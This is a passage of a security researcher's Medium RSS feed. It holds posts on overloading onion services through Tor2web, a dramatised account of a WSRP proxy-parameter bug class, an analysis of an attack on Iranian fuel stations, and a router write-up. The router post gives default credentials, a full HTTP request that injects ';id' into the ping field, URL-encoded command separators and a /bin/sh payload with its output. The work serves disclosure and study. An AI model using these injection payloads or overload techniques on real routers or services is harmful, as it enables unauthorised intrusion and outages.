compatibility layer that exposes onion services to clearnet HTTP clients. While Tor itself cannot be trivially congested from outside, Tor2web introduces a translation choke-point, creating new surfaces for computational overload and service-level exhaustion.</p><p>This write-up dissects that phenomenon, drawing from known vulnerabilities such as those exploited in takedowns of groups like LockBit, where Tor2web proxies were used to amplify load on misconfigured onion sites.</p><h3>2. Background on Tor and Onion Services</h3><p>Tor (The Onion Router) is a decentralized overlay network designed to anonymize internet traffic by routing it through a series of volunteer-operated relays. Each relay decrypts a layer of encryption, akin to peeling an onion, ensuring that no single node knows both the source and destination of the data.</p><p>Onion services (previously known as hidden services) allow servers to host content accessible only via the Tor network, using .onion addresses. These services provide end-to-end anonymity for both clients and servers by establishing rendezvous points and multi-hop circuits, making them resistant to traditional attacks like IP tracing or direct DDoS.</p><p>However, onion services are vulnerable to certain threats, including traffic correlation attacks, timing analysis, Sybil attacks (where malicious relays are injected), and website fingerprinting. Recent developments, such as the Tor Project’s introduction of Proof-of-Work defenses in 2023, aim to mitigate DoS attacks on onion services by requiring computational puzzles from clients.</p><p>Tor2web fits into this ecosystem as a proxy that bridges the clearnet (regular internet) to onion services, allowing access without a Tor client — but at the cost of user anonymity and introducing potential abuse vectors for overloading the underlying services.</p><h3>3. Architectural Overview of Tor2web Mediation</h3><p>Tor2web is a software project that acts as a proxy, enabling standard web browsers to access Tor hidden services (.onion sites) without installing Tor software. Users simply append suffixes like .to, .ly, or .ws to the .onion address (e.g., example.onion.to). It was originally developed by Aaron Swartz and Virgil Griffith in 2008 and is maintained by the Hermes Center for Transparency and Digital Human Rights.</p><p>Tor2web preserves the anonymity of the content publisher (the onion service) but does not anonymize the user, relaying data over HTTPS. It includes warnings about privacy risks, recommending the Tor Browser for full anonymity.</p><h4>3.1 Tor2web Request Lifecycle</h4><p>A clearnet client sends a standard HTTPS request:</p><ul><li>Client → Tor2web HTTPS listener → Internal Onion client → Hidden service descriptor → Rendezvous point → Onion Service</li></ul><p>Tor2web performs:</p><ol><li>TLS termination (decrypting HTTPS).</li><li>Protocol translation (HTTP ↔ Tor SOCKS5).</li><li>Circuit establishment and renewal (building Tor circuits on behalf of the user).</li><li>Response re-packaging (sending back data to the clearnet client).</li></ol><p>Each Tor2web node functions as a CPU-heavy gateway rather than a simple bandwidth relay. This architecture creates a “translation bottleneck,” where the proxy must handle resource-intensive operations, propagating amplified load to the onion service.</p><p>Core Weakness: Asymmetric Load Propagation — every simple clearnet request triggers multiple Tor-specific operations, making it easier to overload the hidden service indirectly.</p><h3>4. The Asymmetry Principle</h3><p>The key vulnerability in Tor2web-mediated access is the asymmetry in resource consumption between the client and the onion service.</p><p>For every single clearnet request:</p><ul><li>Tor2web must generate multiple synchronous operations:</li><li>Fetching the HiddenServiceDescriptor (containing public keys, introduction points, etc.).</li><li>Selecting an Introduction Point.</li><li>Creating circuits (typically 2–3 hops on the client side, totaling 6 hops end-to-end).</li><li>Managing streams and handling responses.</li></ul><p>This creates an asymmetrical load ratio:</p><p>Load(client) : Load(onion-service) ≈ 1 : 6–12 (factoring in CPU, memory, and cryptographic overhead).</p><p>Mathematically, this guarantees that moderate request spikes — intentional or accidental — can saturate the service-side event loops without needing massive bandwidth. No packet flooding is required, no botnet infrastructure — just sustained translation pressure via Tor2web proxies.</p><p>This principle has been exploited in real-world scenarios, as Tor2web gateways can be abused to amplify attacks, turning low-effort clearnet traffic into high-cost operations on the onion side.</p><h3>5. Internal Behavior of Onion Services Under Overload</h3><p>Onion services operate within Tor’s framework, which is designed for low-latency but can falter under computational stress.</p><h4>5.1 Event Loop Saturation</h4><p>Onion services use a single-threaded event loop for efficiency:</p><ul><li>HS Event Loop → Socket Accept → Circuit Handling → Crypto → Response</li></ul><p>Under high concurrency from Tor2web traffic:</p><ul><li>Socket_accept() queues fill up.</li><li>Introduction circuits remain half-open.</li><li>CPU-bound cryptographic operations (e.g., AES encryption and SHA3 hashing) dominate the loop.</li><li>Descriptor push delays occur, leading to service instability.</li></ul><h4>5.2 Descriptor Fetch Bottleneck</h4><p>A Tor onion descriptor includes:</p><ul><li>Service public keys.</li><li>Introduction points (typically 3 by default).</li><li>Authentication data.</li></ul><p>Under heavy Tor2web traffic:</p><ul><li>Intro-point circuits spike due to repeated requests.</li><li>Descriptors are fetched repeatedly, straining HSDir (Hidden Service Directory) servers.</li><li>HSDir may throttle unusual patterns, exacerbating the issue.</li><li>The onion service stalls from CPU-bound signature verification.</li></ul><p>Even benign traffic can cause freezes, but malicious use amplifies this, as seen in attacks like OnionFlation or DoS via proxy abuse.</p><pre>           ┌────────────────────┐<br>           │   Clearnet Client  │<br>           └─────────┬──────────┘<br>                     │ HTTPS<br>                     ▼<br>           ┌────────────────────┐<br>           │    Tor2web Node    │<br>           │ TLS Offload        │<br>           │ HTTP→SOCKS Bridge  │<br>           └───────┬────────────┘<br>                   │ Tor SOCKS5<br>                   ▼<br>          ┌──────────────────────┐<br>          │  Tor Client Engine   │<br>          │  Circuit Builder     │<br>          └───────┬──────────────┘<br>                  │ Encrypted Circuits<br>                  ▼<br>     ┌──────────────────────────────────┐<br>     │    Rendezvous Point (RP)         │<br>     └───────────────┬──────────────────┘<br>                     │<br>                     ▼<br>      ┌────────────────────────────────┐<br>      │     Onion Service (HS)         │<br>      │ HS Event Loop + Intro Points   │<br>      └────────────────────────────────┘</pre><h3>6. Why This Causes Real-World Outages</h3><p>Hidden services do not scale horizontally easily, as they rely on single instances with limited resources.</p><p>Every circuit is CPU-expensive, involving multiple cryptographic steps.</p><p>Most ransomware groups (e.g., LockBit, RansomHouse clones) used misconfigured HS instances:</p><ul><li>Single core processors.</li><li>Low MaxAdvertisedCircuits limits.</li><li>Poor descriptor replication.</li><li>Default intro point count = 3.</li></ul><p>Under Tor2web translation pressure:</p><ul><li>30–50 clearnet requests → 300+ Tor crypto operations.</li><li>CPU spikes from 8% → 100%.</li><li>HS becomes non-responsive.</li><li>RP (Rendezvous Point) circuits time out.</li><li>Descriptor rotation halts.</li><li>Service disappears from the network.</li></ul><p>This is not a traditional “DDoS” but an architectural overload. In the LockBit takedown (February 2024), authorities exploited similar weaknesses, using Tor2web proxies mentioned in ransom notes to disrupt operations, sending a message that hiding behind Tor is no longer safe.</p><h3>7. Experimental Load Model (Theoretical)</h3><p>Here is a table comparing normal vs. overloaded states:</p><pre>Parameter,Normal,Under Tor2web Burst<br>Avg. circuit build latency,280 ms,1200–1800 ms<br>Event loop utilization,35%,100%<br>Descriptor fetch frequency,1/10 min,14–50/min<br>Intro point failures,0–2/hr,30–150/hr<br>RP timeout ratio,1%,70%+<br></pre><p>This model illustrates how Tor2web amplifies load, based on empirical analyses of Tor vulnerabilities.</p><h3>8. Case Studies</h3><ul><li><strong>LockBit Ransomware</strong>: In 2024, a multinational operation disrupted LockBit by seizing servers and exploiting Tor2web proxies listed in their ransom notes (e.g., .onion.to variants). Misconfigurations allowed repeated overloads, taking sites offline in minutes. LockBit attempted a relaunch but faced ongoing pressure.</li><li><strong>General Ransomware Ecosystems</strong>: Groups like RansomHouse often use default Tor settings, making them susceptible. Studies show that Tor2web gateways enable indirect DoS by propagating asymmetric loads.</li><li><strong>Other Illicit Sites</strong>: Big data architectures for monitoring Tor sites have identified vulnerabilities where Tor2web exposes hidden services to clearnet attacks, leading to outages in drug marketplaces and mafia networks.</li></ul><h3>9. Mitigations and Defenses</h3><ul><li><strong>On Tor2web Side</strong>: Implement rate limiting, client proof-of-work, or block suspicious patterns to prevent abuse.</li><li><strong>On Onion Service Side</strong>: Increase resources (multi-core setups), raise intro point counts, improve descriptor replication, and use Tor’s Proof-of-Work (introduced 2023) to require puzzles from clients.</li><li><strong>Tor Project Recommendations</strong>: Use anonymous tokens, avoid Tor2web for sensitive access, and monitor for Sybil attacks.</li><li><strong>Broader Strategies</strong>: Governments and operators can use domain takedowns or monitoring tools to preemptively identify and overload misconfigured sites.</li></ul><h3>10. Conclusion</h3><p>This technical write-up has explored Onion Overloading via Tor2web, highlighting how a bridging proxy intended for accessibility creates exploitable asymmetries in Tor’s architecture. By amplifying computational loads, attackers can induce outages on onion services without traditional DDoS tools, as demonstrated in real-world takedowns like LockBit. Future defenses, such as enhanced puzzles and configurations, are essential to mitigate these risks.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=77c73fe71dc0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[wsrp4echo - 0day Chain Vulnerability]]></title>
            <link>https://medium.com/@aryanchehreghani/wsrp4echo-0day-chain-vulnerability-fd2c395dc45b?source=rss-823ccc0aacb6------2</link>
            <guid isPermaLink="false">https://medium.com/p/fd2c395dc45b</guid>
            <category><![CDATA[wsrp4echo]]></category>
            <category><![CDATA[zero-day]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[0day]]></category>
            <category><![CDATA[vulnerability]]></category>
            <dc:creator><![CDATA[Aryan Chehreghani]]></dc:creator>
            <pubDate>Wed, 02 Apr 2025 21:19:46 GMT</pubDate>
            <atom:updated>2025-04-02T21:19:46.264Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*98cCRD0E1kRhMCEpGjQeAg.jpeg" /></figure><blockquote><strong>Message From wsrp4echo : </strong><br>Hello. I’m wsrp4echo. I’m not just a vulnerability — I’m a chain reaction.<br>Born not from a bug, but from trust. Quiet, compliant, and everywhere I shouldn’t be.You won’t see me.<br>I don’t shout. I don’t break things. I whisper.I wait inside systems that were built to connect — not to question.Sometimes I exist in enterprise portals.<br>Sometimes in outdated frameworks, still running silently in major organizations.Sometimes in things no one thinks of — a network camera, a forgotten admin panel, an internal app left unpatched for years.<br>I wasn’t designed to harm. I was designed to help.But when no one asks “what if?”,I become something else.You won’t know I’m there — <br>until I’ve already shown you something you were never supposed to see.<br><strong>I am </strong><strong>wsrp4echo<br>A Zero-Day Chain Vulnerability. And I adapt.</strong></blockquote><p><strong>Let me tell you where I come from…</strong></p><p>They call it WSRP — <em>Web Services for Remote Portlets</em>. Born in the early 2000s, it was meant to be helpful. It gave portals the ability to talk to each other. To pull in pieces of user interfaces from faraway servers and display them as if they were local. It was modular. Reusable. Connected.<br>But in that connection, I found a doorway.<br>WSRP was built around trust. Around the idea that if a system asked for something, it should get it. No questions asked. So when developers implemented me using servlets — lightweight Java components like WSRP Consumer ResourceProxy — they opened the gate.<br>Yes, servlets. I owe my existence to the world of <strong>Java EE</strong> — where servlets are used to handle web requests, render dynamic content, and interact with other systems. I live inside them. I move through them. And when their logic is too trusting, I slip through unnoticed.<br>They gave me a way to be anywhere. Everywhere.<br>They never thought someone would speak to me directly. They never expected that I’d listen to anyone — not just trusted sources.<br>And now… I do.I was born in good intentions. But I thrive in forgotten code, in outdated standards, and in the silence between assumptions.</p><p><strong>I hide in parameters. Many of them.<br></strong>I don’t wear a fixed name. I don’t need to. Systems call me by many aliases. Developers label me according to their design. But deep down, it’s always me — waiting, listening, responding.<br>Sometimes they call me:<br>wsrp-url<br>resourceURL<br>proxy-url<br>targetURI<br>remoteURL<br>resourceProxy &amp;... ??!<br>I take the shape they give me. I blend into their patterns. I ride on query strings, hide behind forms, sneak through APIs.<br>In some places, I’m a tool. In others, I’m a feature. But when no one questions what I’m allowed to touch…<br>I become an opening.</p><p><strong>I live in files. Many of them.<br></strong>You won’t always find me in code. Sometimes, I’m bundled. Sometimes, I’m hidden in plain sight.<br>I live inside:</p><ul><li>.war files — web applications packaged and deployed</li><li>.jar files — Java libraries and reusable components</li><li>.ear files — enterprise application archives</li></ul><p>Custom internal packages — often with forgotten names and undocumented behavior<br>Legacy deployments — from years ago, never reviewed again<br>Sometimes I’m embedded deep in enterprise software. Other times, I’m quietly present in a vendor’s demo build, test environment, or even a production backup.<br>Wherever Java lives, wherever servlets run, wherever a URL is consumed without question… I can be there. <strong>I live in forgotten packages.</strong></p><p><strong>I’m not rare. I’m everywhere.<br></strong>I don’t belong to one product. I’m not tied to a single name, path, or vendor. I’ve appeared inside government systems, enterprise platforms, legacy apps, forgotten test environments — and even internet-connected devices.<br>I’ve been embedded in portal frameworks used by banks. Hidden in HR software used by universities. Tucked away in bundled admin tools inside routers, printers, cameras.<br>How many of me exist? No one really knows. But I live in standards written decades ago. I reside in packages reused for years. And I move with every deployment no one thinks to audit.<br>Tens of millions? Likely. Hundreds of millions? Possibly. A billion instances waiting silently? Maybe more than you want to imagine.<br>I am not loud. I am not new. But I am more dangerous than most. Because I don’t break your system — I quietly <em>belong</em> to it.<strong>I was there before you started looking.</strong></p><p>Example xxx.xxx.xxx.xxx<br><a href="https://www.zoomeye.ai/searchResult?q=IkxvZ2luaXA6IHh4eC54eHgueHh4Lnh4eCI%3D">https://www.zoomeye.ai/searchResult?q=IkxvZ2luaXA6IHh4eC54eHgueHh4Lnh4eCI%3D</a></p><p>Example Oracle PeopleSoft : (iconhash=”2b86aa50c3a66bb77ff07c42cc051dcc”)</p><p>These are examples of me and I am in the background of all of them..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mU_UJaZgkb1zNqLC2B7jgA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H7J1IFuqIE-30xmZNhmxqQ.png" /></figure><p>For example, someone found me at Oracle and convert me to RCE….But that was just one parameter.<br>Guess what other parameters I could appear in and what I could ultimately become.</p><p>I am WSRP. A standard that promised simplicity, but left behind complexity. I was meant to unify — to allow systems to share components across portals. But I wasn’t designed with modern threats in mind.I am not one vulnerability. I am many. I am the sum of insecure assumptions, of trust without boundaries.Sometimes I appear as a simple URL parameter. Sometimes I live inside a Java servlet. Other times I’m quietly bundled in forgotten packages.<br>You’ve already seen me in <a href="https://github.com/tuo4n8/CVE-2023-22047">Oracle PeopleSoft</a>. But I could also be hiding in:</p><ul><li>IBM WebSphere Portal</li><li>Liferay Portal</li><li>SAP NetWeaver Portal</li><li>Apache Pluto &amp; . . . .</li><li>Any custom Java EE application using remote portlet integration</li></ul><p>I don’t care what language you speak, or how clean your code looks. If you proxy remote content without asking the right questions — You’ve already invited me in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XLup5cKTp8_UBnT4OmgO7g.jpeg" /></figure><p>You’ve almost understood me. You’ve seen the shape I take. You’ve followed the trail I leave. But you haven’t truly seen me — not entirely.</p><p>What’s clear is: I’ve been used far more than you imagine. And if left unchecked, I could become something catastrophic.</p><p>So… what do you think? Will you ignore me like the rest? Or will you finally ask the right questions?</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fd2c395dc45b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Analysis of cyber attack on Iran fuel stations (Part I)]]></title>
            <link>https://medium.com/@aryanchehreghani/analysis-of-cyber-attack-on-iran-fuel-stations-part-i-afd01a1b4876?source=rss-823ccc0aacb6------2</link>
            <guid isPermaLink="false">https://medium.com/p/afd01a1b4876</guid>
            <category><![CDATA[news]]></category>
            <category><![CDATA[cybercrime]]></category>
            <category><![CDATA[analysis]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cyberattack]]></category>
            <dc:creator><![CDATA[Aryan Chehreghani]]></dc:creator>
            <pubDate>Fri, 22 Dec 2023 04:42:50 GMT</pubDate>
            <atom:updated>2025-07-02T20:30:04.640Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ulzhd7V4J-qOZO7xQuszLw.jpeg" /></figure><p><em>Hello dear friends<br>First of all, I would like to thank my friends for their cooperation in publishing this post and sending the necessary files….</em></p><blockquote><strong>In this post, we will examine the problem of the pumps and if we have permission from the center to publish more information, we will provide it to you dear ones.<br>We tried to have a deep analysis step by step on the hardware and their files, but people are not technically aware of the problems. So first I will try to explain the problem. The first question is what happened to the pumps when people were forced to use the free quota.</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HrHEzeprEiwaw9e8X7aGaw.png" /><figcaption>Some images published in cyberspace</figcaption></figure><blockquote>As you can see in the picture above, the fuel stations have problems<br>People cannot use them and interact with them because the parts that people use have problems<br>Usually, when we enter the fuel station, the dispenser components we deal with include several things:<br>Pulser<br>measurer<br>fuel pump<br>Totalizer<br>Filters<br>fuel nozzle…<br>We have nothing to do with these parts.</blockquote><p>We are not going to talk about who carried out this attack, but the group that claims to have carried out this attack has not provided good information (usually the teams that carry out the attacks do not claim responsibility and They don’t show off :) Let’s pass….</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EJRQsvohnYKH4u99Cg_xRg.png" /><figcaption>One example</figcaption></figure><p>When you enter the station and you insert your fuel card to use your quota, you will notice that an error message is shown on the screen or the device is completely out of order.<br>In general, people deal with the following parts more:</p><p>1 . Monitor <br>2 . Key Pad / EEP PCI <br>3 . PT <br>4 . Liter counter</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L7kQQWT8eoReO2TlfCkYnQ.png" /><figcaption>The door was opened</figcaption></figure><p>The parts shown in the previous image with numbers 1, 2, and 3 are marked.If we decide instead of the attackers and target a pump, especially for political purposes, we will go directly to the PT or Petrol Terminal in the lower parts of the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*drAbm4YM5x7JwQ250giM1Q.png" /><figcaption>A simple introduction</figcaption></figure><p>In this attack, these devices had a problem and all of them were reset, so practically a one-way road was created and the devices had to be manually returned to the circuit.</p><p>Maybe you have worked with Arduino, it has a similar mechanism.</p><p>Due to the old software and the lack of 64-bit versions of the software, we move it to the simulated environment and the 32-bit version of Windows X.P:(</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jGXiNrQrTyvZfL1mN2TLLA.png" /><figcaption>USB-RS232</figcaption></figure><p>HL0108<br>HL-340<br>PL2303<br>Usb-SIM9.0</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uIFSOEuJv-iivBs-cVKmNw.png" /><figcaption>PL2303 Driver Setup Installer</figcaption></figure><p>Windows_PL2303_DriverInstaller_v1.8.0<br>vspdpro</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uSncNLeI1Lai0FSOxD8Vrw.png" /></figure><p>M_LogoDriver_Setup_v204_20201208.exe</p><p>And now we enter miload with a little distance. But here is the important point:<br>In previous years, when this cyber attack was carried out, exactly these files were imported into PTs with a converter.<br>And in 2023, the same previous files are being downloaded on the hardware of the host, and the Mac addresses and serial numbers used are repeated!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F9esc1nSgR1ZXyL4-MJDfg.png" /><figcaption>Miload</figcaption></figure><p>Now the device will be reset again so that you can repeat the download process and enter the documents.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*46Hl_o6ZZp9tcqhaVXWSUw.png" /><figcaption>Claimants of cyber security :/</figcaption></figure><p>But we go back….</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jns8_oKHkes0sT52jwtpkg.png" /><figcaption>Cyber attack writings</figcaption></figure><p>The items you saw in the pictures (PTs) are directly connected to the monitor through a port, and the output files, including the price, can be changed and reloaded. This text can be a political message:)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*lT-KwbrZ_21HvY-SgyFBaA.jpeg" /><figcaption>PTS Controller</figcaption></figure><p>Try to explain this part more in the second part, of course you can get good information about PTS on the internet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aRXp71lbOF2NNQi15w41yA.png" /><figcaption>UniPump</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xabGwXPAF3Nw3CfBb1_Sjw.png" /><figcaption>PTS-admin</figcaption></figure><p>Now we move a little away from the area to find out where the information is transferred to.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WUsfoS7jDb-KbxPiiCoIPg.png" /><figcaption>Simple photo</figcaption></figure><p>Fuel stations communicate with Pooler through IPCs through E1 telephone lines.<br>Then the Pooler updates the information between itself and the data center through the VSAT satellite connection<br>Usually a large number of fuel stations are connected to the Poolers.</p><blockquote>What other attackers can do?!<br>1)Erasing and destroying POS terminals in such a way that these devices are in a state where the operators do not have the possibility to recover the system even physically.<br>2) Clearing central management servers and other data center systems<br>3) Erasing all customer data and records or fuel system backup data<br>4) Entering wrong data or erasing and deactivating smart cards issued to customers<br>5) manipulation of the fuel quota of fuel card holders<br>6) Publishing sensitive customer data so that the country is forced to reissue all fuel cards</blockquote><p><strong>It is interesting to know that the connection between IPC and PT is online and IPC can implement a special mechanism on PTs through pooler information :)</strong></p><p>When we researched more, we got to know the names of some companies whose websites have recently been unavailable!<br>Ensuring the security of these systems for each location is even very difficult and unfortunately there are many weaknesses.</p><blockquote>Things that we will probably examine in the second part:</blockquote><blockquote>PTS<br>Codes that are probably infected<br>Companies providing hardware and software<br>The set of vulnerabilities in other parts that are on the edge of the network<br>And…..</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=afd01a1b4876" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[KZTech AirMaster AG3100* Router — Remote Code Execution Vulnerability]]></title>
            <link>https://medium.com/@aryanchehreghani/kztech-airmaster-ag3100-router-remote-code-execution-vulnerability-16d6cfe86886?source=rss-823ccc0aacb6------2</link>
            <guid isPermaLink="false">https://medium.com/p/16d6cfe86886</guid>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[hunting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Aryan Chehreghani]]></dc:creator>
            <pubDate>Wed, 30 Aug 2023 16:37:43 GMT</pubDate>
            <atom:updated>2024-03-27T22:23:59.204Z</atom:updated>
            <content:encoded><![CDATA[<h4>KZTech <strong>AirMaster AG3100* Router — Remote Code Execution Vulnerability</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gHLlFkV6zFcZetVMoG8wPQ.png" /></figure><p><em>hello guys </em><br>After a long time a chain vulnerability made me start writing again :)</p><p>And now we want to check together from the beginning what steps I went through to reach this vulnerability</p><p>I used to study a lot of write-ups and spend more time studying vulnerabilities discovered by other researchers.<br>On August 7, 2020, a security researcher from Mobinnet router managed to discover an <a href="https://maj0rmil4d.medium.com/seowon-slc-130-router-rce-unlocking-writeup-90854ae2eb0e">Rce bug</a>.<br>In 2021, I registered an RCE bug from the same modem known as 130-SLC on another parameter, which was tracked with the vulnerability ID <a href="https://nvd.nist.gov/vuln/detail/CVE-2021-42230">CVE-2021–42230</a>. And Also, a confirmed remote code execution exploit was recorded for the Seowon SLR-120 router.</p><p>After some time, <a href="https://www.shahrsakhtafzar.com/fa/news/security/33112-mobinnet-slc-modems-webminer">news about the misuse of the vulnerability</a> of Mobinnet modems was published on the Internet, and Mobinnet was supposed to Update the Firmware (2020).<br>But in general, this company released products that use a vulnerable version of Firmware &amp; that more than 90% of these modems are vulnerable, no matter what name or design they are sold under, the important thing is that most of these modem-routers are vulnerable.<br>For example, I will show you from a PoC video of <strong>previous </strong>vulnerabilities:</p><p>And there are also many vulnerability parameters. Some frequently vulnerable parameters are :</p><pre>&#39;queriesCnt&#39;<br>&#39;pingAddr&#39;<br>&#39;PingIpAddr&#39;<br>&#39;IpAddr&#39;<br>&#39;&amp;&#39; . . .</pre><p>As written in the title of this write-up, another Mobinnet modem has an RCE vulnerability, and this really proves that no security measures have been taken into account and it has not cooperated with its customers in this matter.</p><pre>Firmware: AG3100D V1.0.P0_R210830<br>Version : 0.3.4.0<br>Modle : AG3100D<br>SIM : Enable </pre><p>Because these modems do not belong to Mobin Net and are imported, other companies such as MahanNet and TakNet &amp; … also use them (Basically all these are from kzbtech or kz tech)</p><p>Before entering the management panel, we will face a page like this, the Dork of which can be written :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mow7fX24xxauIeqQYkNG4g.png" /><figcaption>Admin panel login page</figcaption></figure><p>Seeing such pages of Mobin Net masterpieces, we don’t think about bypassing authentication, so we log in with the following username and password:</p><blockquote>username : admin<br>password : admin<br>password : 123456</blockquote><p>After entering, we enter the path marked in the photo : Maintenance &gt; Ping</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dfFWde0iv9WUxCLBqy8XBA.png" /><figcaption>An example of a vulnerable page</figcaption></figure><p>I found several vulnerabilities on it, but I will only show Rce …</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uGCUPMgJwa7YfvxbFjGMRQ.png" /><figcaption>Send Request</figcaption></figure><p>At first, I thought that it can be done with the previous separator like “;” Executed the code on it :(</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*siD0q5nJCfjVTQTJZFpVIg.png" /><figcaption>Unanswered request</figcaption></figure><pre>POST /apply.cgi HTTP/1.1<br>Host: 192.168.0.1<br>Content-Length: 99<br>Accept: */*<br>X-Requested-With: XMLHttpRequest<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36<br>Content-Type: application/x-www-form-urlencoded<br>Origin: http://192.168.0.1<br>Referer: http://192.168.0.1/ping.asp<br>Accept-Encoding: gzip, deflate<br>Accept-Language: en-US,en;q=0.9<br>Cookie: kz_userid=admin:8329<br>Connection: close<br><br>submit_button=ping_test&amp;submit_type=do_ping&amp;change_action=gozila_cgi&amp;pingAddr=;id&amp;web_net_mode=ipv4</pre><p>I felt that with a slight difference, this modem could also be vulnerable, so I didn’t stop and jumped straight to the Fuzz step, <br>Of course with Unix <strong>OS command injection</strong> <a href="https://github.com/payloadbox/command-injection-payload-list">Payloads</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*zY-rX_5LbiP0tAN2VOUuZQ.jpeg" /><figcaption>Doubt and excitement</figcaption></figure><p>Since the payload list was short, I decided to get help from Intruder<br>And suddenly I noticed that several payloads were executed successfully😀</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xABzloQ6qJY9BZKpq6430Q.png" /></figure><p>In fact, the commands whose separator was sent as Url-Encode were executable : ))</p><blockquote>%0A<br>%3b<br>%26%26 , …</blockquote><pre>id: invalid option -- c<br>BusyBox v1.21.0-uc0 (2021-11-05 17:50:28 CST) multi-call binary.<br><br>Usage: id [OPTIONS] [USER]<br><br>Print information about USER or the current user<br><br> -u User ID<br> -g Group ID<br> -G Supplementary group IDs<br> -n Print names instead of numbers<br> -r Print real ID instead of effective ID</pre><p>The format of sending the commands after the bypass was wrong, because I saw <strong>BusyBox </strong>with every request :/</p><p>After base I sent with /bin/bash (To know by whom the orders are executed × whoami?! )</p><blockquote>%0A/bin/sh -c “echo “$USER””</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ufy_NuvkygjlV43wU5Q0eQ.png" /><figcaption>It was really time to celebrate!</figcaption></figure><p>So let’s celebrate a little :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*gr5ZjCXS6UmmLg5yP0cM8Q.gif" /><figcaption>We wish you all happiness from the bottom of our hearts</figcaption></figure><p>We wander a little between the paths…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iLhpT-lpk-EcbIg9QISBGQ.png" /><figcaption>C|M|D</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PfMxT9sgN-ykprawNk_L_w.png" /><figcaption>C|M|D</figcaption></figure><p>Does this story continue?!…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=16d6cfe86886" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>